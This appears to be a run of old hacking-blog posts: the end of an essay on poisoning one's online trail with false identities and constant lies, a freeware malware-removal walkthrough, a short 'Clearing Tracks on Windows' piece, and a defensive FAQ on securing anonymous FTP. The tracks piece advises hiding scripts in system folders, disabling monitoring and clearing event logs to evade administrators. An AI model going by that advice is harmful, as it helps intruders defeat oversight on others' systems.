Now then, to create the periphery you must cannibalize upon your initial information. If you said you like a certain band, start posting on the message boards for that band, being sure to indicate that you went to any relevant concerts close to your geographic area. If you said you have a certain exotic pet, start posting on newsgroups and message boards asking for advice on taking care of said pet. Rinse and repeat for all other periphery components of your identity: your car, favorite book/author/movie/pornstar, favorite hobby, sport team, and so on. Always post on all message boards with the same username. This will make you easier to track, and make the bloodhound :) when ze thinks that ze's just discovered that you not only like Korn, but also have a pet ferret and drive a pimped out Audi.

And lest you're by this point losing faith at the apparently humdrum meaninglessness of it all, keep in mind that there is no such thing as an insignificant detail. Every bit of information can be, and, indeed is, being harvested and subsequently has the potential for being used for tracking you the **** down. To give a (non)trivial example, someone who knows where you live, the car you drive, and the band you like, can then proceed to find you outside of a concert hall on the night that your band's playing. Copasetic?

Realtime Data Poisoning and Time Syncing

Once you have setup the core/periphery disinfo centres, your job isn't quite done yet. Indeed, data poisoning is a persistent process around which you must adapt all of your everyday actions, both online and offline. Each time you chat with friends over instant messaging or IRC, you are leaking data. Comments about the weather, current events, even your speech mannerisms, all serve to betray your identity, and therefore must all be modified. You must then engage in realtime data poisoning: consistently lying to anyone and everyone you communicate with about everything.

An extension of realtime poisoning is time syncing. If you say you have a 9 to 5 job in time zone X, then be sure that you're idle during those times, or explicitly mention that you have Internet access from work/school to present a resolution to the apparent time conflict. Do this proactively, meaning volunteer the information yourself, before the person on the other end becomes suspicious. Saying something like 'I just came back from watching Lesbian Scat Girls VII' when according to your time zone you should be at work/school can be disastrous to your identity (speaking of time zones, don't forget to set the appropriate zone on all of your forums). However, we all slip up and **** up here and there. Such discrepancies can then be explained away with relative ease by stating that you had the day off school or whatnot, as long as they don't accumulate to an excess over prolonged periods of time.

When chatting, it is further advantageous to initiate apparently accidental data slippages. Pretend that you thought you were talking to someone else, and share a seemingly intimate bit of information about yourself, and then follow it up with a 'oh ****, wrong person.' Similar techniques should be used by accidentally pasting private emails into instant messaging conversations, and then hurriedly explaining that your fershlugginer copy and paste keeps jamming, and urging your chat partner to pay the information no heed.

As aforementioned, your very speech patterns betray your identity. In the spirit of practicing what you preach, looking a few lines above you can see that I used a seemingly odd adjective, 'fershlugginer.' Doing a little bit of research, you'll undoubtedly find that it was a term popularized by MAD Magazine in the 70's, leading you to believe I must be an old school fan of that particular zine ;), which will in turn lead you to make now intrinsic assumptions about my age, nationality, and so forth. Therefore, you must always strive to saturate your everyday parlance with various cultural (and therefore also potentially geographic) references. If you are communicating via phone or voip, which is highly inadvisable as extensive forensic analysis of voiceprints can reveal your real identity even when you're attempting to adopt various masking techniques, you should nonetheless use a hardware or software voice modification application, at the very least.

Realtime data can further be poisoned by injecting false descriptions of everyday events. Saying you just got your hair highlighted, a spiffy new tattoo, or even a broken leg, are all as essential as the aforementioned core/periphery identity modifiers. Again, keep in mind the physical location you're supposed to be situated in, and after checking the weather for that day, make appropriate comments about how how/cold it is, and so on it goes... End of Part I Finally, keep in mind that if the so-called first rule of forensics is Locard's theory--every contact leaves a trace--then a necessary corollary is that every false contact leaves a false trace. Again: there is no such thing as innocuous data. Every little morsel of information is engorged with saliency, and every little morsel can likewise be manipulated to suit your needs; in our case, the poisoning of the unknowing bloodhounds on your illusory trail. Consistently lie your ass off to achieve the much- thought after ambrosia of anonymity.

Cheers.

Malware Removal Guide

2011-04-03T23:09:00.000-07:00

Prerequisites:
Freeware (explained in tutorial)

Before I start, I want you to understand that this guide is not going to be using any of the tools from Geek Squad. All of the tools used in this tutorial are available for download as freeware. This guide is not going to give you a complete and total walkthrough of every single program, just an overview. I will be providing links to other websites if you wish to read more about each of these softwares. Neither I nor SoldierX hold any responsibility for your actions while following this guide, but simply offer it as a helping hand to get you to understand some of the ways that malware can infect your system while helping you remove them. Neither I nor SoldierX own or have created any of these tools, so you must accept each tool's licensing terms on your own behalf before you use them.

Before getting into the actual malware removal, I want you to understand that the only surefire way to get rid of any and all malware that is affecting your system is to replace your hard drive's MBR (Master Boot Record), use a utility such as DBAN (Darik's Boot And Nuke) to wipe the drive, and then reinstall your operating system.

So, now that I have gotten the legal stuff out of the way, let's get right down to business. This guide is going to cover many different things including, but not limited to: removing malware from an infected computer, the tools used to do the removals, extra utilities to help protect yourself from future attacks, and some fixes that you can do to repair some of the damage caused by removing malware from an infected system. These fixes are not always guaranteed to be correct, but simply are the most common ways to fix the problems caused by removing malware from a system.

Now, you have backed up all of your files, let's get to the tools needed to do the job correctly. Note that not all of these tools are required clean your system, I am just listing all of the tools I have used in the past to get rid of different types of malware. If you want to be as thorough as absolutely possible, you should run ever single one of these tools on the computer you are trying to clean. This will ensure that you have effectively removed most of the traces. I am not going to go in-depth and explain how to use each of these softwares. If you would like to know more about one of these tools, a quick Google search should on the name of the product should bring up a full listing of anything related to that software. Listed below, not in any particular order, are the softwares I use while doing malware removal and the links to each website so you can download them:
1. SmitFraudFix - http://www.bleepingcomputer.com/files/smitfraudfix.php
2. Kaspersky AVZ Antiviral Toolkit - http://www.softpedia.com/get/Antivirus/AVZ-Antiviral-Toolkit.shtml
3. Avira Antivir Removal Tool - http://www.free-av.com/en/tools/3/avira_antivir_removal_tool.html
4. ClamWin Portable - http://portableapps.com/apps/utilities/clamwin_portable
5. McAfee Stinger - http://vil.nai.com/vil/stinger/
6. A-Squared HiJack Free - http://www.hijackfree.com/en/
7. A-Squared Emergency USB - http://www.emsisoft.com/en/software/stick/
8. 1-2-3 Spyware Free USB - http://www.pendriveapps.com/1-2-3-spyware-free/
9. AVG VCleaner - http://free.avg.com/us-en/virus-removal
10. Avast! Portable Virus Cleaner - http://www.pendriveapps.com/avast-virus-cleaner-virus-and-worm-removal-t...
11. SpyDLLRemover - http://rootkitanalytics.com/userland/spy-dll-remover.php
12. Microsoft's Autoruns - http://technet.microsoft.com/en-us/sysinternals/bb963902.aspx
13. Kapersky's AVP Tool - http://www.brothersoft.com/kaspersky-avp-tool-190975.html
14. Microsoft's Rootkit Revealer - http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
15. Malwarebyte's Antimalware - http://www.malwarebytes.org/mbam.php (Special note for Malwarebytes. Make sure that when you download the executable, you rename it to something not-related to Malwarebytes or mbam-setup.exe. Most malware now will block mbam or anything related to it from even running. I usually end up naming it MBRemovalTool.exe)
16. Norman Malware Cleaner - http://www.norman.com/support/support_tools/58732/en
17. About Buster - http://www.malwarebytes.org/aboutbuster.php
18. ADS Spy - http://www.bleepingcomputer.com/files/adsspy.php
19. ATF Cleaner - http://www.atribune.org/index.php?option=com_content&task=view&id=25&Ite...
20. AIM Fix - http://www.jayloden.com/aimfix.htm
21. Avira Anti-Rootkit - http://www.free-av.com/en/tools/4/avira_antirootkit_tool.html
22. Avira Boot Sector Repair Tool - http://www.free-av.com/en/tools/9/avira_boot_sector_repair_tool.html
23. Trend Micro's Rootkit Buster - http://free.antivirus.com/rootkit-buster/
24. Trend Micro's CWS Shredder - http://free.antivirus.com/cwshredder/
25. Dial-A-Fix - http://www.softpedia.com/progDownload/Dial-a-fix-Download-27328.html
26. F-Secure BlackLight Anti-Rootkit - http://www.f-secure.com/en_EMEA/products/technologies/blacklight/
27. GMER Anti-Rootkit - http://www.gmer.net/
28. Trend Micro's Hijack This! - http://free.antivirus.com/hijackthis/
29. Kazaa Spyware Removal - http://majorgeeks.com/Kazaa_Spyware_Removal_d3110.html
30. Look2Me Destroyer - http://www.softpedia.com/get/Antivirus/Look2Me-Destroyer.shtml
31. QooFix - http://www.malwarebytes.org/qoofix.php
32. Vundo Fix - http://vundofix.atribune.org/
33. CCleaner - http://www.ccleaner.com/
34. Registry Mechanic - http://www.pctools.com/registry-mechanic/
35. JV16 Power Tools - http://www.macecraft.com/jv16powertools2009-info/
36. Windows Malicious Software Removal Tool - http://www.microsoft.com/downloads/details.aspx?FamilyID=ad724ae0-e72d-4...
37. Dr. Web's CureIt - http://download.cnet.com/Dr-Web-CureIt/3000-2239_4-128071.html
38. SuperAntiSpyware - http://www.superantispyware.com/
39. Defraggler - http://www.piriform.com/defraggler
40. Trend Micro's Rootkit Buster - http://free.antivirus.com/rootkit-buster/
41. Spybot Search & Destroy - http://www.safer-networking.org/en/download/
42. Combofix - http://www.bleepingcomputer.com/combofix/how-to-use-combofix
43. USB Write Protector - http://techie-buzz.com/utilites/usb-write-protector-shields-your-usb-fla...
44. 7-Zip Portable - http://portableapps.com/apps/utilities/7-zip_portable
45. Microsoft Installer CleanUp - http://support.microsoft.com/kb/290301 (Windows XP only)
46. Microsoft Auto Play Fix - http://www.microsoft.com/downloads/details.aspx?familyid=C680A7B6-E8FA-4... (Windows XP only)
47. Winsock Fix - http://windowsxp.mvps.org/winsock.htm (Windows XP only)

Step 1 --> Backups
First thing is first, you are going to want to backup all the files you absolutely can not lose to a flash drive or external hard drive. Also, make sure you backup the registry in-case it is corrupted beyond repair so that you do not have to reinstall your operating system. To learn how to back up your registry, follow the instructions on the following website (ignore the system restore option):
http://windowsxp.mvps.org/registry.htm
Step 2 --> Preparations
Now it is time to move on to the preparations for the removals. The first thing you are going to want to do is to get another USB flash drive. It is probably best to use at least a 2GB drive, but you can get away with a 1GB stick if you don't download all of the tools and store them on there. Personally, I use an 8GB flash drive so that I can store other stuff on it as well. Now, let's do a little preparation before we start the actual removals. First, on the clean computer that you are downloading all of the tools, plug in your flash drive. Follow the directions on the relevant website to install 1-2-3 Spyware Free, A-Squared Hijack Free, A-Squared USB, 7-Zip Portable, and ClamWin Portable onto the flash drive. None of these softwares require registry entries to run. They have all their relevant information they need in configuration files located in the same folders where the programs will be located on your flash drive. Once those softwares are installed, go ahead and transfer over the other utilities that you would like to use. I personally have all of the utilities on my flash drive, along with a few other softwares for other uses. Once you have transferred over all of the utilities that you want to use, make sure you have the entire USB Write Protector folder somewhere on your flash drive. Make sure that you run each of the utilities that require updates (A-Squared USB, 123 Spyware Free, and ClamWinPortable) on the clean computer so that you have the latest definitions. Just one more step and we will get to actually removing the malware. The last step you need to do is use that utility I described to you, USB Write Protector. All you need to do is launch the executable located in the folder and click where it says to "Enable Write Protection." The reason this software is so crucial is because some worms and trojans have the ability to infect flash drives. This software ensures that nothing can write to the flash drive while it is plugged into any computer. Now that the write protection is enabled, we can start the actual removals. Make sure that you close out of the USB Write Protector software and eject your flash drive from the computer. The first thing you need to do on the infected computer is to disable System Restore and delete all of the System Restore Points because a lot of malware likes to hide in these restore points because those restore points are ignored by 99% of malware scanners. Once you have done this, you are ready to move on to the next step.

Note: For removal of rogue security products (ex. Antivirus 2009, Security Tool, Internet Security 2010, etc), begin with the next step. If you are just trying to clean a computer of general malware, please skip to Step 4.

Step 3 --> Removal of rogue antivirus softwares
This is going to give some of our scanners the chance to fully get the most malware removed from your system. We are going to start by trying to kill the infected processes so you will not be as impeded by the popups and other messages. Open up SpyDLLRemover and click on "Start Scan" to start the automated scanner. While that is scanning, click on the "Process Viewer" tab. You will see a more advanced version of the Windows Task Manager. Go ahead and scroll down to where you see the executable that is the main file for your particular rogue security product. This will be easy to see because most of the executables will be similar in name to what the program is named. For example, Personal Antivirus's executable is named PAV.exe. Once you click on the running process, you will see a list of all of the DLL's that are attached to that particular executable. As a side note, write down the name and file path of each of the DLL's that are attached to the running process because each of those are probably infected as well. I will touch on that later on. Once you have written down all of that information, click on the DLL's that are attached to the running process by clicking on their names in the bottom section and then click on the button at the bottom of the window labeled "Remove DLL." If anything prompts you if you are sure of this, click OK. Once you have removed all of the DLL's attached to the executable, you can now kill the running process by clicking on the executable in the top portion of the window and then clicking the button labeled "Kill Process." Now that you have done this, you should have no more popups while you do the rest of your work. By this time, the automated scan you started a few minutes ago should be finished. If the scan has found any of the DLL's that were on your list you made a few minutes ago which were attached to the rogue antivirus software's executable, then click on the DLL's name and below it should pop up and list all of the processes that utilize that DLL. If the only process that utilizes the DLL is the executable from the rogue antivirus software, then click on the button labeled "Remove DLL." If you are unsure as to what to do here, don't do anything. Just write down all of names and file paths so that you make sure that you don't delete a main system file DLL that is required for the computer usage. Once that is complete, you should run SmitFraudFix. If you have any questions on how to use this software, make sure you read the full guide on the same page as where you downloaded the file from. Once this is complete, move on to Step 4.

Step 4 --> Installing software on the computer
To start out, go ahead and run the Malwarebytes Anti-Malware executable to install the program onto the computer. When it prompts you to restart your computer, don't do it because there are a few other things we need to do first. Once Malwarebytes is installed on the computer, install SuperAntiSpyware. Make sure that during the setup of SuperAntiSpyware that you tell it that you do NOT want to enable the proactive defenses, just be able to scan the computer. Lastly, install Spybot Search & Destroy and make sure this one is also configured so that it does not give you proactive threat detection. Once those softwares are installed, you can go ahead and restart your computer. Once your computer has been restarted, go back up to Step 3 and then continue on to Step 5.

Step 5 --> Running the scans on the computer (simultaneously or one after another)
This is the part of the removal process that is the easiest and most automated. First start off by loading up Malwarebytes and starting a scan on the computer's hard drive. Go ahead and minimize the window once the scan is started and load up SuperAntiSpyware. Do the same for SuperAntiSpyware and minimize that scan as well. (Note: Make sure that you are only targeting the hard drive and not your flash drive. Some of the utilities are recognized as malware by the scanners and the scanners will get hung up on trying to remove them from your write-protected flash drive.) If you are working on a slower computer, I would let the two scanners which are running right now finish before going any further. Now, load up A-Squared Free or A-Squared Command Line scanner (read documentation included with this tool for tips on how to use the command-line scanner) and start a scan with either of those tools. Once that is running, load up 1-2-3 Spyware Free and run a scan on the computer with it. Now, load up Spybot Search & Destroy and run a scan with it as well. The last scanner you need to start is Kaspersky's AVZ Antiviral Toolkit. Load up the AVZ.exe file. When the window pops up, make sure the box next to your hard drive is checked. Click on the "File types" tab and make sure that the scanner is set to scan "All files" and that the box next to "Do not scan archives larger than" is unchecked. Next, click on the "Search parameters" tab and under the "Heuristic analysis" group, drag the bar to the top and check the box next to "Extended analysis." Make sure that the boxes next to "Fix SPI/LSP errors automatically," "Search for TCP/UDP ports used by Trojan horses," and "Fix system errors automatically" are checked. Under the "Automatic actions" field, check the box next to "Enable malware removal mode" and make sure that all the drop-down boxes are set to "Remove." Once all of those have been started, click on the button labeled "Start" to start the malware scan. Now, go grab yourself some food or go do something else for about an hour or two while these scanners go to work. Some of the other scanners that you should run afterwards are AvastPortableAntivirus, AviraAntivirRemoval, McAfeeStinger, Norman Malware Cleaner, Kaspersky AVP Tool, and AVG vCleaner.

Special Note: If a particular rogue antivirus software has not been removed from your system after the scanners have run, then make sure that you run SmitFraudFix. To learn how to use it, refer to the site where you download it from.

Step 6 --> Cleanups after automated scanners
Once the scanners have completed, review each of the scan results. If any of the scanners failed to remove or clean a file, ensure that you write down the file and location so you can delete it later using 7-Zip. Once the scanners have been run, you are going to want to restart your computer and boot it into safe mode. Once you have booted into safe mode, you are going to need to run Hijack This. If you are not sure about what to remove using Hijack This, then when you run Hijack This, click on "Do a System Scan and Save a Log File." If you are sure of how to use Hijack This, just click on "Just Do a System Scan" and then remove what you need to. The reason you should not just remove everything on the list is that you can seriously screw up your computer. If you are unaware as to what to remove from this list, you can post your log file at http://www.hijackthis.de/ and they can either analyze it automatically, or you can post in the forums and someone will give you the list as to what exactly to remove from your computer. Now, once you have finished doing that, load up Autoruns from Microsoft. This program is going to allow you to see every single file that is set to autorun when the computer turns on. If there are any of the files that were not deleted when the malware scanners completed, now would be the time to look for those files and stop them from auto-running. Next time you restart the operating system, you should then be able to delete the infected file with no other problems. Once you have stopped all of the items that you did not want starting up on your computer, then your computer should also be running faster. At this point in time, are are welcome to run any of the following utilities, such as: ADS Spy, Dial-A-Fix (Windows XP only), CWSShredder, E2TakeOut, QooFix, Look2Me Destroyer, AboutBuster, VundoFix, and ATF-Cleaner. Make sure you run ATF-Cleaner after all of the other softwares have been run. At this point, I would suggest downloading an antivirus program like Kaspersky, Webroot, Spyware Doctor, or Norton 2010.

Step 7 --> Registry cleanup and repair
This part of the cleanup is relatively easy. The first thing you need to do is install CCleaner. When you start CCleaner, click on the "Cleaner" tab on the left-hand side of the window. Next, click on the "Analyze" button. When the analyze has completed, click on "Run Cleaner." Next, click on the "Registry" tab on the left-hand side of the window. Click on the "Scan for Issues" button. When the scan is complete, click on the button labeled "Fix selected issues..." Make sure that you fix all of the selected issues. You can choose to backup the changes if you want, but I have never had a problem with what CCleaner fixes. When you are done with CCleaner, you can uninstall it from your computer. Do the same things for Registry Mechanic and JV16 Power Tools. Just run the registry cleaners under each of those programs. Once each of these are done, feel free and tweak the registry to your liking. I will be making a post in the forums under Windows Software with some of the registry fixes that I have. If you would like to tweak your registry to your own liking, you can do a quick Google search and you should be able to find the registry fixes for whatever operating system you are using.

Step 8 --> Operating system repair and cleanup
Over the course of the malware removals, the operating system tends to get screwed up. The following fixes should repair the operating system back to a working condition. If there is a particular problem that you are having, a quick Google search should bring up the correct fix for it. Open up a command prompt window. Type in "CHKDSK /R" (without the quotes) and then when it states that CHKDSK can not run in the operating system, type in "SFC /SCANNOW". Once that has completed, restart your computer. Upon restart of your computer, CHKDSK is going to start and verify that there are no bad sectors that are being used. If there are, then the operating system will ignore those sectors so you do not have problems with your operating system. Once that is completed, if you have Windows XP, run the Microsoft Installer CleanUp utility. This will fix any problems that a piece of malware has modified in the Windows Installer that will cause a program not to install correctly or the Windows Installer to not even launch. Also, if you have Windows XP, run the Microsoft Auto Play Fix as well to find any defective AutoPlay settings and then it attempts to fix the ones it finds. Finally, the last fix for Windows XP is to make sure you run the Winsock XP Fix to make sure that there are no traces of malware left in the Windows Winsock.

Note: The last problem that a lot of people usually have after they have completed malware removals on their computer is that they have no internet connection afterwards. This last step is meant only to help those people who have this problem.

Step 9 --> Reconnecting to the internet
First we are going to check the internet connection settings before we start messing with any registry/operating system repairs. First thing is first, make sure that you have your drivers installed. If you have XP, click on "Start," and then click on "Run." If you have Vista, click on "Start," and then type in the blank space under "All Programs." In either of those spaces, type in "devmgmt.msc" and hit Enter. If you look under your network drivers and there are drivers that need to be reinstalled, please download your drivers on another computer and reinstall them. Once you have done that, the next step is to check the network's device settings. To do this, click on "Start," right-click on "Network," then left-click on "Properties." On the left-hand side, click on "Manage Network Connections." In the window that pops up, you should see the network devices that are installed on your computer. The next few steps should be the same for both/any/all of your network devices. Right-click on the network device and then left-click on "Properties." In the next window that pops up, click on "Internet Protocol..." and click on the button to the bottom-right labeled "Properties." Make sure that the two boxes next to "Obtain DNS server address automatically" next to BOTH places in that window. Then click on "OK" and go ahead and close out of all of the network windows. Now, open up Internet Explorer (yes, even if you don't use it) and open up the "Internet Options" that is listed under the "Tools" menu (if you can't see it on Vista, click somewhere in the web browser and hit the Alt key on your keyboard and you will see the menus pop up). If your internet is being redirected, here you can change your homepage. Click on the "Security" tab at the top, then click on the "Internet, Local Intranet, Trusted sites, Restricted sites" and make sure that each of them is set to the "Default level" by clicking the button as you click on each one. Under the "Privacy" tab, do the same thing and make sure it is set to "Default" by clicking on the button labeled as such. Lastly, click on the "Connections" tab, then click on the button labeled "LAN settings" and make sure that the box next to "Automatically detect settings" is checked. Now, close out of Internet Explorer and open up a command prompt window. When you have it open, type in "ipconfig /release" and then "ipconfig /renew". This will force your network card to refresh the network settings that you have just changed. If none of these fixes have worked, then you should do some research into Group Policies. If you have Windows XP, you can use Dial-A-Fix to scan for restrictive policies. If you have any other operating system, you should look at http://technet.microsoft.com/en-us/library/cc960596.aspx to refer how to remove restrictive group policies. Now, the Winsock needs to be reset. If you are running Windows XP, then you need to run the Winsock XP Fix that I had you download earlier. If you are running Windows Vista or 7, then open the command prompt as an administrator and type "netsh windsock reset". After that is complete, type in "ipconfig /release". Once that has completed, type in "ipconfig /renew". When those 3 command have completed, restart your computer. Upon the restart of your computer, you should be able to connect to the internet.

Once you have completed all of these steps, your computer should be clean (for the most part). There is no true way to know for sure that your computer is fully clean unless you reinstall your operating system and replace your MBR. If you have completed all of the steps above and have run all of the softwares listed in this, then your computer should be as clean as you can possibly get it. I will be posting more in-depth guides at a later date on how to use some of the software which was not explained in this particular guide.

Clearing Tracks on Windows

2011-04-03T23:06:00.000-07:00

Its been a long time since i have dumped something on this page so here goes.

This particular article was written by my mentor cisc0ninja way back in 2008

The first thing I would recommend is writing some scripts when you're at home and putting them in hidden locations on the computer.
For instance deep down in weird system directories where people don't normally visit.
example: c:\windows\system32\wbem or oobe or some weird folder that not many people know what's supposed to be there and what's not.

You can write scripts to do whatever you want, but the main things you want to write are ways of covering your tracks, aka deleting any info that you were ever there, as well as possibly turning off any monitoring or logging while you're logged in.

98% of the time if they're logging or watching they will be using some sort of 3rd party software so you'll have to figure out what it is and how to disable it on your own, if there is a specific type that you need help with and I get enough people asking me to right a doc on bypassing a particular software I may. For right now we'll stick with windows logs.

There's this thing called "Event Viewer", which may, more than likely, be running.
You only want to clear this when you absolutely think it is necessary, because if a systems admin see's it's clear, they're gonna know something was going on here. And what sucks about it is that it only gives you the option of clearing everything or nothing, not just one or two lines.
There may be a registry setting somewhere I don't know about to allow just the clearing of one or two lines, but I wouldn't get my hopes up.

You can view/clear the event viewer logs by right-clicking on "my computer" and going to the "manage" option.
You will see it under Computer Management(local) and then System Tools, then Event Viewer.
Notice there are 3 different types of logs, Application, Security, and System.
(if you clear one you might as well clear them all because one could potentially help the admin find out who it was that cleared the other)

The majority of ways that windows logs you is by logging your internet traffic. Cookies, temp files, temporary internet files, browser history, your "recent" aka recently accessed files. All this stuff should be deleted. You can actually speed up your computer by deleting a lot of this regularly thus preventing a lot of malware/spyware and other b.s. from mucking up your machine by doing this. So leaves less tracks and makes the computer all nice and clean. Who wants to have root/admin on a box that's already all f**** up anyways?

Anonymous FTP FAQ

2011-01-06T10:31:00.003-08:00

How to Set up a Secure Anonymous FTP Site
The following is a FAQ on setting up a secure FTP Site. FTP sites are known for much abuse by transferring illegal files. They also open many oppurtunities for intruders to gain access via misconfigured setups. And lastly many versions of ftp servers have had security holes. This FAQ is intended to clean up this abuse by allowing administrators to go through this check list of steps to make sure their FTP is correctly configured and that they are running the most current ftp daemon.

This is organized in the following fashion, I am breaking into several parts as follows:

1. General Description of Setting up an "anonymous" ftp server.
Create the user ftp in /etc/passwd. Use a misc group. The user's home directory will be ~ftp where ~ftp is the root you wish anonymous users to see. Creating this user turns on anonymous ftp.
Use an invalid password and user shell for better security. The entry in the passwd file should look something like:

ftp:*:400:400:Anonymous FTP:/home/ftp:/bin/true
Create the home directory ~ftp. Make the directory owned by root (NOT ftp) with the same group as ftp. Thus, owner permissions are for root and group permissions are for the anonymous users. Set the permissions for ~ftp to 555 (read, nowrite, execute).
Warning: Some MAN pages recommend making the ~ftp directory owned by ftp. This is a big NO-NO, if you want any type of security on your system.

Create the directory ~ftp/bin. This directory is owned by root (group e.g. wheel) with permissions 111 (noread, nowrite, execute).

Copy the program ls into ~ftp/bin. ls is owned by root with permissions 111 (noread, nowrite, execute). Any other commands you put in ~ftp/bin should have the same permissions as well.

Make the directory ~ftp/etc. This directory is owned by root with permissions 111.

Create from scratch the files /etc/passwd and /etc/group in ~ftp/etc. These files should be mode 444. The passwd file should only contain root, daemon, uucp, and ftp. The group file must contain ftp's group. Use your /etc/passwd and /etc/group files as a template for creating passwd and group files going to ~ftp/etc. You may even change the user names in this file, they are used only for 'ls' command. So for example if all files in your ~ftp/pub/linux hierarchy will be maintained by a real user 'balon' with uid=156 you may put
linux:*:156:120:Kazik Balon::
in the ~ftp/etc/passwd file (regardless of his real username). Leave only these users who will own files under ftp hierarchy (e.g. root, daemon, ftp...) and definitely remove *ALL* passwords by replacing them with '*' so the entry looks like:
root:*:0:0:Ftp maintainer::
ftp:*:400:400: Anonymous ftp::
For more security, you can just remove ~ftp/etc/passwd and ~ftp/etc/group (the effect is that ls -l will not show the directories' group names). Wuarchive ftp daemon (and some others) have some extensions based on the contents of the group/passwd files, so read the appropriate documentation.

Make the directory ~ftp/pub. This directory is owned by you and has the same group as ftp with permissions 555. On most systems (like SunOS) you may want to make this directory 2555, ie. set-group-id, in order to create new files with the same group ownership.
Files are left here for public distribution. All folders inside ~ftp/pub should have the same permissions as 555.

Warning: Neither the home directory (~ftp) nor any directory below it should be owned by ftp! No files should be owned by ftp either. Modern ftp daemons support all kinds of useful commands, such as chmod, that allow outsiders to undo your careful permission settings. They also have configuration options like the following (WuFTP) to disable them:

# all the following default to "yes" for everybody

delete no guest,anonymous # delete permission?

overwrite no guest,anonymous # overwrite permission?

rename no guest,anonymous # rename permission?

chmod no anonymous # chmod permission?

umask no anonymous # umask permission?

If you wish to have a place for anonymous users to leave files, create the directory ~ftp/pub/incoming. This directory is owned by root with permissions 733. Do a 'chmod +t ~ftp/pub/incoming'. The ftp daemon will normally not allow an anonymous user to overwrite an existing file, but a normal user of the system would be able to delete anything. By setting the mode to '1733' you prevent this from happening. In wuftpd you may configure the daemon to create new files with permissions '600' owned by root or any other user. Many times, incoming directories are abused by exchanging pirated and pornographic material. Abusers often create hidden directories there for this purpose. Making the incoming directory unreadable by anonymous ftp helps to some extent. With ordinary ftp severs there is no way to prevent directories being created in incoming. The WUarchive ftp server can limit uploads to certain directories and can restrict characters used in file names like this:

# specify the upload directory information

upload /var/spool/ftp * no

upload /var/spool/ftp /incoming yes ftp staff 0600 nodirs

# path filters # path-filter...

path-filter anonymous /etc/msgs/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^-

path-filter guest /etc/msgs/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^-

Suggestion: Create an extra file-system for your ftp-area (or at least for your incoming-area) to prevent a denial-of-service attack by filling your disk with garbage (inside your incoming directory).

If you have wuftpd you may want to add some ftp extensions like compression/decompression 'on the fly' or creation of tar files for the directory hierarchies. Get the appropriate sources (gzip, gnutar, compress), compile them and link statically, put in the ~ftp/bin directory and edit the appropriate file containing the definitions of the allowed conversions. /usr/bin/tar is already statically-linked. You may wish to use gnu tar anyway.

Gary Mills wrote a small program to support the following:

To do tar and compress, he wrote a tiny program called `pipe', and statically-linked it. His /etc/ftpconversions file looks like this:

#strip prefix:strip postfix:addon prefix:addon postfix:external command:

#types:options:description

:.Z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS

:-z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS

: : :.Z:/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS

: : :.tar:/bin/tar cf - %s:T_REG|T_DIR:O_TAR:TAR

: : :.tar.Z:/bin/pipe /bin/tar cf - %s | /bin/compress -c:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRESS

: : :.tar:/bin/gtar -c -f - %s:T_REG|T_DIR:O_TAR:TAR

: : :.tar.Z:/bin/gtar -c -Z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRESS

: : :.tar.gz:/bin/gtar -c -z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+GZIP

Here it is:
-----------------8<-------------cut--------------- /* pipe.c: exec two commands in a pipe */ #define NULL (char *)0 #define MAXA 16 main(argc, argv) int argc; char *argv[]; { char *av1[MAXA], *av2[MAXA]; int i, n, p[2], cpid; i = 0; n = 0; while ( ++i < argc && n < MAXA ) { if ( *argv[i] == '|' && *(argv[i]+1) == '\0' ) break; av1[n++] = argv[i]; } if ( n == 0 ) uexit(); av1[n] = NULL; n = 0; while ( ++i < argc && n < MAXA ) av2[n++] = argv[i]; if ( n == 0 ) uexit(); av2[n] = NULL; if ( pipe(p) != 0 ) exit(1); if ( ( cpid = fork() ) == (-1) ) exit(1); else if ( cpid == 0 ) { (void)close(p[0]); (void)close(1); (void)dup(p[1]); (void)close(p[1]); (void)execv(av1[0], av1); _exit(127); } else { (void)close(p[1]); (void)close(0); (void)dup(p[0]); (void)close(p[0]); (void)execv(av2[0], av2); _exit(127); } /*NOTREACHED*/ } uexit() { (void)write(2, "Usage: pipe | \n", 34); exit(1); } -------- CUT HERE ------------ Other things to do: as root: touch ~ftp/.rhosts touch ~ftp/.forward chmod 400 ~ftp/.rhosts chmod 400 ~ftp/.forward ie. make these files zero-length and owned by root. Due to the last /bin/mail bugs in SunOS: touch /usr/spool/mail/ftp; chmod 400 /usr/spool/mail/ftp Consider an email-alias for the ftp-admin(s) to provide an email-address for problems-reports. If you are mounting some disks from other machines (or even your own) to the ~ftp hierarchy, mount it read-only. The correct entry for the /etc/fstab (on the host with ftpd) is something like: other:/u1/linux /home/ftp/pub/linux nfs ro,noquota,nosuid,intr,bg 1 0 This mounts under /home/ftp/pub/linux the disk from host 'other' with no quota, no 'suid' programs (just in case), interruptible (in case 'other' goes down) and 'bg' - so if 'other' is down when you reboot it will not stop you trying to mount /home/ftp/pub/linux all over again. -------------------------------------------------------------------------------- 2. Setting up a chrooted Secure Anonymous ftp server. This part was contributed by Marcus J Ranum
Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it's owned by root.

Build a statically linked version of /bin/ls if you'll need one. Put it in ~ftp/bin. If you are on a Sun, and need to build one, there's a ported version of the BSD net2 ls command for SunOs on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it's owned by root.

Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT

Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT make 'ftp's home directory '/' -- make sure they are owned by root.

Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look something like: (assuming ~ftp = /var/ftp)

main()

{

if(chdir("/var/ftp")) {

perror("chdir /var/ftp");

exit(1);

}

if(chroot("/var/ftp")) {

perror("chroot /var/ftp");

exit(1);

}

/* optional: seteuid(FTPUID); */

execl("/bin/ftpd","ftpd","-l",(char *)0);

perror("exec /bin/ftpd");

exit(1);

}

Options:
You can use 'netacl' from the toolkit or tcp_wrappers to achieve the same effect.

We use 'netacl' to switch so that a few machines that connect to the FTP service *don't* get chrooted first. This makes transferring files a bit less painful.

